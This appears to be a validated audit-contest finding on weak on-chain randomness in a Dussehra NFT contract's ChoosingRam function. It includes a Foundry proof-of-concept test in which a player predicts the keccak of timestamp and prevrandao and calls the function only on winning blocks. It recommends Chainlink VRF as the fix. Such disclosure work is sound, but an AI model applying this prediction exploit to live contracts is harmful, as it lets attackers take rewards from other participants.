Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

The user can predict the outcome of the `ChoosingRam::increaseValuesOfParticipants` to become Ram and get the reward

Summary

The function ChoosingRam::increaseValuesOfParticipants depends on a random value to select the participant to whom to increase the characteristics. This function generates the random number by using block.timestamp, block.prevrandao and the msg.sender values. Those values are considered a bad source of randomness. The users can predict the outcome and execute the function only if they will be the winners of the challenge. This will help them to become Ram.

Vulnerability Details

Using block.timestamp as a source of randomness is commonly advised against, as the outcome can be manipulated by calling contracts. Also, for some chains like zkSync block.prevrandao is a constant value. This will allow the users to predict the result of the calculated number in Line 52 of ChoosingRam.sol: uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % 2. This will give them the chance to execute a challenge only if they are the winners.

Proof of Concept

The following code demonstrates how an attack can be executed.

function test_increaseValuesOfParticipantsIsNotRandom() public {
Dussehra dussehra;
RamNFT ramNFT;
ChoosingRam choosingRam;
address organiser = makeAddr("organiser");
address player1 = makeAddr("player1");
address player2 = makeAddr("player2");
vm.startPrank(organiser);
ramNFT = new RamNFT();
choosingRam = new ChoosingRam(address(ramNFT));
dussehra = new Dussehra(1 ether, address(choosingRam), address(ramNFT));
ramNFT.setChoosingRamContract(address(choosingRam));
vm.stopPrank();
vm.startPrank(player1);
vm.deal(player1, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
// the second player will predict the outcomes and
// will become the Ram
vm.startPrank(player2);
vm.deal(player2, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
uint256 winnings = 0;
uint256 time = 1;
// this loop will be executed until the second player
// wins 5 times
while (winnings < 5) {
vm.warp(++time);
if (
uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
player2
)
)
) %
2 ==
0
) {
// the following block will be executed only if the user
// is gonna win the challenge
++winnings;
choosingRam.increaseValuesOfParticipants(1, 0);
}
}
vm.stopPrank();
// as we can see the second player is now the Ram
assertEq(choosingRam.selectedRam(), player2);
}

Impact

The bad source of randomness gives a malicious user the opportunity to become Ram and to get the reward.

Tools Used

Manual review

Recommendations

Consider using a decentralized oracle for the generation of random numbers, such as Chainlinks VRF. The Chainlink VRF gives two methods to request randomness: subscription and direct funding method. They will have their added cost, but will solve the randomness issues of the Dussehra contract.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak randomness in `ChoosingRam::increaseValuesOfParticipants`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.